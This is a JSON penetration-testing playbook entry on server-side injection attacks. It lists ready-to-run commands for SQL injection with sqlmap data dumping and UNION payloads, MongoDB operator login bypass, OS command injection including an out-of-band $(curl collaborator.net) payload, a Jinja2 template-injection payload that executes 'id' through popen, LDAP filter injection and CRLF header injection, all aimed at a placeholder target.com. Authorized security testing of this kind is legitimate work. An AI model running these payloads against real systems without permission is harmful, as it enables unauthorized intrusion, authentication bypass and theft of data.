{
  "slug": "injection-testing",
  "title": "Injection Attacks",
  "phase": "Exploitation",
  "description": "Test for SQL injection, NoSQL injection, command injection, template injection (SSTI), LDAP injection, and other server-side injection flaws.",
  "difficulty": "high",
  "tags": [
    "exploitation",
    "sql-injection",
    "nosql",
    "command-injection",
    "ssti",
    "server-side"
  ],
  "tools": [
    "sqlmap",
    "tplmap",
    "commix",
    "Burp Suite",
    "nuclei"
  ],
  "steps": [
    {
      "id": "inj-01",
      "title": "Detect SQL injection with error-based and blind techniques",
      "description": "Test all input parameters for SQL injection using error-based, boolean-blind, and time-based blind techniques to identify injectable points.",
      "commands": [
        "sqlmap -u 'https://target.com/page?id=1' --batch --level=3 --risk=2 --random-agent",
        "sqlmap -u 'https://target.com/page?id=1' --batch --technique=T --time-sec=5",
        "curl -sk 'https://target.com/page?id=1%27%20OR%201=1--'"
      ],
      "notes": "Start with GET parameters, then test POST body, cookies, and HTTP headers. Use --level=3 in sqlmap to test cookies and User-Agent automatically."
    },
    {
      "id": "inj-02",
      "title": "Exploit SQL injection with UNION-based extraction",
      "description": "Determine column count and extract data using UNION SELECT queries when error-based or in-band injection is confirmed.",
      "commands": [
        "sqlmap -u 'https://target.com/page?id=1' --batch --technique=U --dump --threads=5",
        "curl -sk 'https://target.com/page?id=1+UNION+SELECT+NULL,NULL,NULL--'",
        "curl -sk 'https://target.com/page?id=1+UNION+SELECT+1,@@version,3--'"
      ],
      "notes": "Use ORDER BY to find column count before UNION. Always identify the data types expected in each column position to avoid type mismatch errors."
    },
    {
      "id": "inj-03",
      "title": "Test NoSQL injection with MongoDB operator injection",
      "description": "Test for NoSQL injection in MongoDB-backed applications by injecting query operators into JSON parameters and URL-encoded inputs.",
      "commands": [
        "curl -sk -X POST 'https://target.com/api/login' -H 'Content-Type: application/json' -d '{\"username\": {\"$gt\": \"\"}, \"password\": {\"$gt\": \"\"}}'",
        "curl -sk 'https://target.com/api/users?username[$regex]=admin.*&password[$regex]=.*'",
        "curl -sk -X POST 'https://target.com/api/search' -H 'Content-Type: application/json' -d '{\"$where\": \"this.username == \\\"admin\\\"\"}'"
      ],
      "notes": "NoSQL injection often works through JSON request bodies. Look for endpoints that accept complex objects and test with MongoDB operators like $gt, $ne, $regex, and $where."
    },
    {
      "id": "inj-04",
      "title": "Test OS command injection with chaining and out-of-band techniques",
      "description": "Test parameters that may interact with system commands for injection using command separators, backticks, and out-of-band payloads.",
      "commands": [
        "commix -u 'https://target.com/ping?host=target.com' --batch",
        "curl -sk 'https://target.com/ping?host=target.com;id'",
        "curl -sk 'https://target.com/ping?host=target.com|whoami'",
        "curl -sk 'https://target.com/ping?host=$(curl+collaborator.net)'",
        "nuclei -u https://target.com -t vulnerabilities/generic/oast/ -iserver interact.sh"
      ],
      "notes": "If output is not visible, use out-of-band techniques with curl, nslookup, or ping to your collaborator server to confirm execution. Test both Linux and Windows separators."
    },
    {
      "id": "inj-05",
      "title": "Test server-side template injection (SSTI)",
      "description": "Identify the template engine in use and craft engine-specific payloads to achieve remote code execution via template injection.",
      "commands": [
        "curl -sk 'https://target.com/page?name={{7*7}}'",
        "curl -sk 'https://target.com/page?name=${7*7}'",
        "tplmap -u 'https://target.com/page?name=test'",
        "curl -sk 'https://target.com/page?name={{config.__class__.__init__.__globals__[\"os\"].popen(\"id\").read()}}'"
      ],
      "notes": "Use the SSTI decision tree — test {{7*7}}, then {{7*'7'}} to distinguish Jinja2 (returns 7777777) from Twig (returns 49). Each engine has unique RCE gadgets."
    },
    {
      "id": "inj-06",
      "title": "Test LDAP injection and CRLF header injection",
      "description": "Test authentication and search forms for LDAP injection, and HTTP inputs for CRLF injection enabling header manipulation or response splitting.",
      "commands": [
        "curl -sk -X POST 'https://target.com/login' -d 'username=admin)(%26)&password=anything'",
        "curl -sk -X POST 'https://target.com/login' -d 'username=*)(uid=*))(|(uid=*&password=anything'",
        "curl -sk 'https://target.com/redirect?url=http://target.com%0d%0aSet-Cookie:+hacked=true'",
        "nuclei -u https://target.com -t vulnerabilities/generic/crlf-injection.yaml"
      ],
      "notes": "LDAP injection often appears in login forms and directory search features. For CRLF, check any parameter whose value ends up in response headers — redirects and Set-Cookie operations are common vectors."
    }
  ],
  "references": [
    "https://portswigger.net/web-security/sql-injection",
    "https://owasp.org/www-community/attacks/Command_Injection",
    "https://portswigger.net/web-security/server-side-template-injection",
    "https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html",
    "https://github.com/swisskyrepo/PayloadsAllTheThings"
  ],
  "version": "1.0.0",
  "updatedAt": "2026-06-17"
}